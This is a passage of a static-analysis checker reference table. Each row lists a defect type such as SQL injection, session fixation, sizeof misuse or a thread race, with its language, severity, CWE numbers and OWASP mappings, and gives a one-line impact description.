| SENSITIVE_DATA_LEAK | Cleartext transmission of sensitive data | High impact security | PHP | An attacker that can intercept network traffic can recover the sensitive data. | High | Security | 319 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext transmission of sensitive data | High impact security | Python | An attacker that can intercept network traffic can recover the sensitive data. | High | Security | 319 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext transmission of sensitive data | High impact security | Swift | An attacker that can intercept network traffic can recover the sensitive data. | High | Security | 319 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SENSITIVE_DATA_LEAK | Cleartext transmission of sensitive data | High impact security | Visual Basic | An attacker that can intercept network traffic can recover the sensitive data. | High | Security | 319 | 17, 18, 19, 199, 200, 201, 254, 310, 311, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1015, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | |
| SERVLET_ATOMICITY | Value not atomically updated | Concurrent data access violations | Java | This can resulting in the program displaying unpredictable behavior when the attribute is not present initially. | Medium | Quality, Security | 567 | 17, 18, 361, 557, 567, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| SERVLET_ATOMICITY | Value not atomically updated | Concurrent data access violations | Java | This can result in the program displaying unpredictable behavior. | Medium | Quality, Security | 567 | 17, 18, 361, 557, 567, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| SESSION_FIXATION | Session fixation | Medium impact security | Java | An attacker can force a user to authenticate onto an attacker-known identifier and subsequently hijack the now-authenticated session. | Medium | Security | 384 | 17, 18, 254, 264, 284, 287, 361, 384, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 809, 812, 888, 892, 898, 899, 907, 928, 930, 935, 944, 947, 975, 984, 1000, 1003, 1008, 1010, 1011, 1018, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | |
| SIGN_EXTENSION | Unintended sign extension | Integer handling issues | C/C++ | The sign-extended value may be interpreted as a very large number. | Medium | Quality | 194 | 17, 18, 19, 136, 189, 194, 361, 635, 664, 681, 699, 700, 704, 734, 737, 738, 739, 741, 747, 800, 808, 844, 848, 867, 868, 872, 873, 875, 883, 884, 885, 888, 892, 900, 984, 998, 1000, 1003 | ||
| SIGN_EXTENSION | Unintended sign extension | Integer handling issues | Objective-C/C++ | The sign-extended value may be interpreted as a very large number. | Medium | Quality | 194 | 17, 18, 19, 136, 189, 194, 361, 635, 664, 681, 699, 700, 704, 734, 737, 738, 739, 741, 747, 800, 808, 844, 848, 867, 868, 872, 873, 875, 883, 884, 885, 888, 892, 900, 984, 998, 1000, 1003 | ||
| SINGLETON_RACE | Thread unsafe modification in singleton | Concurrent data access violations | Java | The thread unsafe modification can result in unpredictable behavior. | High | Quality, Security | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| SIZECHECK | Allocation too small for string | Memory - corruptions | C/C++ | This can result in an non-null terminated string or an off-by-one buffer overflow, if the intention of the allocation is to copy the string. | High | Quality | 170 | 17, 18, 19, 20, 74, 116, 137, 138, 169, 170, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 730, 734, 738, 741, 742, 746, 747, 748, 750, 751, 844, 845, 868, 872, 875, 876, 883, 884, 888, 890, 896, 907, 928, 929, 973, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020 | ||
| SIZECHECK | Allocation too small for string | Memory - corruptions | Objective-C/C++ | This can result in an non-null terminated string or an off-by-one buffer overflow, if the intention of the allocation is to copy the string. | High | Quality | 170 | 17, 18, 19, 20, 74, 116, 137, 138, 169, 170, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 730, 734, 738, 741, 742, 746, 747, 748, 750, 751, 844, 845, 868, 872, 875, 876, 883, 884, 888, 890, 896, 907, 928, 929, 973, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020 | ||
| SIZECHECK | Allocation size with '&' | Memory - corruptions | C/C++ | The allocation size will probably be smaller than intended. | High | Quality | 131 | 17, 18, 19, 131, 189, 635, 682, 699, 734, 738, 739, 742, 750, 752, 800, 802, 865, 868, 872, 873, 876, 884, 888, 890, 900, 907, 974, 977, 1000, 1003 | ✓ | |
| SIZECHECK | Allocation size with '&' | Memory - corruptions | Objective-C/C++ | The allocation size will probably be smaller than intended. | High | Quality | 131 | 17, 18, 19, 131, 189, 635, 682, 699, 734, 738, 739, 742, 750, 752, 800, 802, 865, 868, 872, 873, 876, 884, 888, 890, 900, 907, 974, 977, 1000, 1003 | ✓ | |
| SIZECHECK | Incorrect operator new syntax | Memory - corruptions | C/C++ | The newly allocated memory buffer only holds one value, which is initialized to the value given in parentheses. | High | Quality | 131 | 17, 18, 19, 131, 189, 635, 682, 699, 734, 738, 739, 742, 750, 752, 800, 802, 865, 868, 872, 873, 876, 884, 888, 890, 900, 907, 974, 977, 1000, 1003 | ✓ | |
| SIZECHECK | Incorrect operator new syntax | Memory - corruptions | Objective-C/C++ | The newly allocated memory buffer only holds one value, which is initialized to the value given in parentheses. | High | Quality | 131 | 17, 18, 19, 131, 189, 635, 682, 699, 734, 738, 739, 742, 750, 752, 800, 802, 865, 868, 872, 873, 876, 884, 888, 890, 900, 907, 974, 977, 1000, 1003 | ✓ | |
| SIZECHECK | Allocation size mismatch | Memory - corruptions | C/C++ | The size of the allocated buffer may not hold the expected number of elements. | High | Quality | 131 | 17, 18, 19, 131, 189, 635, 682, 699, 734, 738, 739, 742, 750, 752, 800, 802, 865, 868, 872, 873, 876, 884, 888, 890, 900, 907, 974, 977, 1000, 1003 | ✓ | |
| SIZECHECK | Allocation size mismatch | Memory - corruptions | Objective-C/C++ | The size of the allocated buffer may not hold the expected number of elements. | High | Quality | 131 | 17, 18, 19, 131, 189, 635, 682, 699, 734, 738, 739, 742, 750, 752, 800, 802, 865, 868, 872, 873, 876, 884, 888, 890, 900, 907, 974, 977, 1000, 1003 | ✓ | |
| SIZECHECK | Allocation too small for type | Memory - corruptions | C/C++ | Allocating less memory than required for a type can result in reads and writes of memory outside the bounds of the allocated type. | High | Quality | 120 | 17, 18, 19, 20, 118, 119, 120, 131, 189, 254, 633, 635, 682, 693, 699, 700, 711, 722, 726, 734, 738, 739, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 974, 975, 977, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| SIZECHECK | Allocation too small for type | Memory - corruptions | Objective-C/C++ | Allocating less memory than required for a type can result in reads and writes of memory outside the bounds of the allocated type. | High | Quality | 120 | 17, 18, 19, 20, 118, 119, 120, 131, 189, 254, 633, 635, 682, 693, 699, 700, 711, 722, 726, 734, 738, 739, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 974, 975, 977, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| SIZECHECK | Allocation size error | Memory - illegal accesses | C/C++ | The size of the allocated buffer may not hold the expected number of elements. | High | Quality | 131 | 17, 18, 19, 131, 189, 635, 682, 699, 734, 738, 739, 742, 750, 752, 800, 802, 865, 868, 872, 873, 876, 884, 888, 890, 900, 907, 974, 977, 1000, 1003 | ✓ | |
| SIZECHECK | Allocation size error | Memory - illegal accesses | Objective-C/C++ | The size of the allocated buffer may not hold the expected number of elements. | High | Quality | 131 | 17, 18, 19, 131, 189, 635, 682, 699, 734, 738, 739, 742, 750, 752, 800, 802, 865, 868, 872, 873, 876, 884, 888, 890, 900, 907, 974, 977, 1000, 1003 | ✓ | |
| SIZEOF_MISMATCH | Extra sizeof expression | Incorrect expression | C/C++ | The extraneous sizeof may cause an incorrect expression. Pointer arithmetic increments or decrements the pointer by multiples of the number of bytes in the target of the pointer. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| SIZEOF_MISMATCH | Extra sizeof expression | Incorrect expression | Objective-C/C++ | The extraneous sizeof may cause an incorrect expression. Pointer arithmetic increments or decrements the pointer by multiples of the number of bytes in the target of the pointer. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| SIZEOF_MISMATCH | Missing parentheses | Memory - illegal accesses | C/C++ | This is a result of a common misunderstanding of operator precedence; the incorrect expression can result in a pointer pointing to illegal memory locations. | High | Quality | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| SIZEOF_MISMATCH | Missing parentheses | Memory - illegal accesses | Objective-C/C++ | This is a result of a common misunderstanding of operator precedence; the incorrect expression can result in a pointer pointing to illegal memory locations. | High | Quality | 783 | 17, 18, 398, 438, 569, 670, 691, 699, 700, 710, 734, 737, 783, 884, 888, 907, 977, 978, 1000, 1003 | ||
| SIZEOF_MISMATCH | Misused sizeof | Incorrect expression | C/C++ | The misuse of the sizeof operator is caused by invoking sizeof on a pointer instead of its target, operator precedence issues, or incorrect pointer arithmetic. The result is an incorrectly computed expression that may cause unexpected program behavior. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| SIZEOF_MISMATCH | Misused sizeof | Incorrect expression | Objective-C/C++ | The misuse of the sizeof operator is caused by invoking sizeof on a pointer instead of its target, operator precedence issues, or incorrect pointer arithmetic. The result is an incorrectly computed expression that may cause unexpected program behavior. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| SIZEOF_MISMATCH | Sizeof not portable | Code maintainability issues | C/C++ | While the program behaves correctly on the current processor architecture, it relies on potentially non-portable assumptions about type sizes. | Low | Quality | 467 | 17, 18, 19, 189, 398, 465, 467, 569, 635, 682, 699, 700, 710, 734, 737, 738, 739, 740, 750, 752, 868, 872, 873, 874, 884, 888, 890, 907, 974, 977, 978, 1000, 1003 | ||
| SIZEOF_MISMATCH | Sizeof not portable | Code maintainability issues | Objective-C/C++ | While the program behaves correctly on the current processor architecture, it relies on potentially non-portable assumptions about type sizes. | Low | Quality | 467 | 17, 18, 19, 189, 398, 465, 467, 569, 635, 682, 699, 700, 710, 734, 737, 738, 739, 740, 750, 752, 868, 872, 873, 874, 884, 888, 890, 907, 974, 977, 978, 1000, 1003 | ||
| SIZEOF_MISMATCH | Wrong size argument | Incorrect expression | C/C++ | The wrong size value is used as an argument to a function. This may cause unexpected program behaviors. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| SIZEOF_MISMATCH | Wrong size argument | Incorrect expression | Objective-C/C++ | The wrong size value is used as an argument to a function. This may cause unexpected program behaviors. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| SIZEOF_MISMATCH | Wrong sizeof argument | Incorrect expression | C/C++ | The wrong sizeof value is used in an expression or as argument to a function. The result is an incorrect value that may cause unexpected program behaviors. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| SIZEOF_MISMATCH | Wrong sizeof argument | Incorrect expression | Objective-C/C++ | The wrong sizeof value is used in an expression or as argument to a function. The result is an incorrect value that may cause unexpected program behaviors. | Medium | Quality | 569 | 17, 18, 398, 569, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| SLEEP | Waiting while holding a lock | Program hangs | C/C++ | The lock will prevent other threads from making progress for an indefinite period of time; may be mistaken for deadlock. | Medium | Quality | 667 | 17, 18, 361, 662, 664, 667, 691, 699, 700, 734, 745, 748, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| SLEEP | Waiting while holding a lock | Program hangs | Objective-C/C++ | The lock will prevent other threads from making progress for an indefinite period of time; may be mistaken for deadlock. | Medium | Quality | 667 | 17, 18, 361, 662, 664, 667, 691, 699, 700, 734, 745, 748, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| SQLI | SQL injection | High impact security | C# | A user can change the intent of the SQL query, which may inappropriately disclose or corrupt data within the database. | High | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | High impact security | Java | A user can change the intent of the SQL query, which may inappropriately disclose or corrupt data within the database. | High | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | High impact security | JavaScript | A user can change the intent of the SQL query, which may inappropriately disclose or corrupt data within the database. | High | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | High impact security | PHP | A user can change the intent of the SQL query, which may inappropriately disclose or corrupt data within the database. | High | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | High impact security | Python | A user can change the intent of the SQL query, which may inappropriately disclose or corrupt data within the database. | High | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | High impact security | Swift | A user can change the intent of the SQL query, which may inappropriately disclose or corrupt data within the database. | High | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | High impact security | Visual Basic | A user can change the intent of the SQL query, which may inappropriately disclose or corrupt data within the database. | High | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | Medium impact security | C# | If the string is a SQL query, a user can change its intent, which may inappropriately disclose or corrupt data within the database. | Medium | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | Medium impact security | Java | If the string is a SQL query, a user can change its intent, which may inappropriately disclose or corrupt data within the database. | Medium | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | Medium impact security | JavaScript | If the string is a SQL query, a user can change its intent, which may inappropriately disclose or corrupt data within the database. | Medium | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | Medium impact security | PHP | If the string is a SQL query, a user can change its intent, which may inappropriately disclose or corrupt data within the database. | Medium | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | Medium impact security | Python | If the string is a SQL query, a user can change its intent, which may inappropriately disclose or corrupt data within the database. | Medium | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | Medium impact security | Swift | If the string is a SQL query, a user can change its intent, which may inappropriately disclose or corrupt data within the database. | Medium | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQLI | SQL injection | Medium impact security | Visual Basic | If the string is a SQL query, a user can change its intent, which may inappropriately disclose or corrupt data within the database. | Medium | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQL_NOT_CONSTANT | Non-constant SQL | Low impact security | C# | Malicious or rogue values may alter the intent of the SQL query or command and cause incorrect behavior, leaked sensitive information, or a loss of data. | Low | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQL_NOT_CONSTANT | Non-constant SQL | Low impact security | Java | Malicious or rogue values may alter the intent of the SQL query or command and cause incorrect behavior, leaked sensitive information, or a loss of data. | Low | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| SQL_NOT_CONSTANT | Non-constant SQL | Low impact security | Visual Basic | Malicious or rogue values may alter the intent of the SQL query or command and cause incorrect behavior, leaked sensitive information, or a loss of data. | Low | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| STACK_USE | Large stack use | Performance inefficiencies | C/C++ | Excessive stack use may cause stack overflow in embedded applications. Stack size limits are configurable. | Low | Quality | 400 | 17, 18, 361, 398, 399, 400, 635, 664, 699, 700, 710, 711, 730, 844, 858, 861, 884, 888, 892, 907, 978, 984, 985, 1000, 1003 | ||
| STACK_USE | Large stack use | Performance inefficiencies | Objective-C/C++ | Excessive stack use may cause stack overflow in embedded applications. Stack size limits are configurable. | Low | Quality | 400 | 17, 18, 361, 398, 399, 400, 635, 664, 699, 700, 710, 711, 730, 844, 858, 861, 884, 888, 892, 907, 978, 984, 985, 1000, 1003 | ||
| STRAY_SEMICOLON | Stray semicolon | Control flow issues | C/C++ | A misplaced semicolon is a common typo that can cause unexpected changes to the flow of control in the program that results in logical errors. | Medium | Quality | 670 | 438, 670, 691, 699, 888, 907, 977, 1000 | ||
| STRAY_SEMICOLON | Stray semicolon | Control flow issues | C# | A misplaced semicolon is a common typo that can cause unexpected changes to the flow of control in the program that results in logical errors. | Medium | Quality | 670 | 438, 670, 691, 699, 888, 907, 977, 1000 | ||
| STRAY_SEMICOLON | Stray semicolon | Control flow issues | Java | A misplaced semicolon is a common typo that can cause unexpected changes to the flow of control in the program that results in logical errors. | Medium | Quality | 670 | 438, 670, 691, 699, 888, 907, 977, 1000 | ||
| STRAY_SEMICOLON | Stray semicolon | Control flow issues | JavaScript | A misplaced semicolon is a common typo that can cause unexpected changes to the flow of control in the program that results in logical errors. | Medium | Quality | 670 | 438, 670, 691, 699, 888, 907, 977, 1000 | ||
| STRAY_SEMICOLON | Stray semicolon | Control flow issues | Objective-C/C++ | A misplaced semicolon is a common typo that can cause unexpected changes to the flow of control in the program that results in logical errors. | Medium | Quality | 670 | 438, 670, 691, 699, 888, 907, 977, 1000 | ||
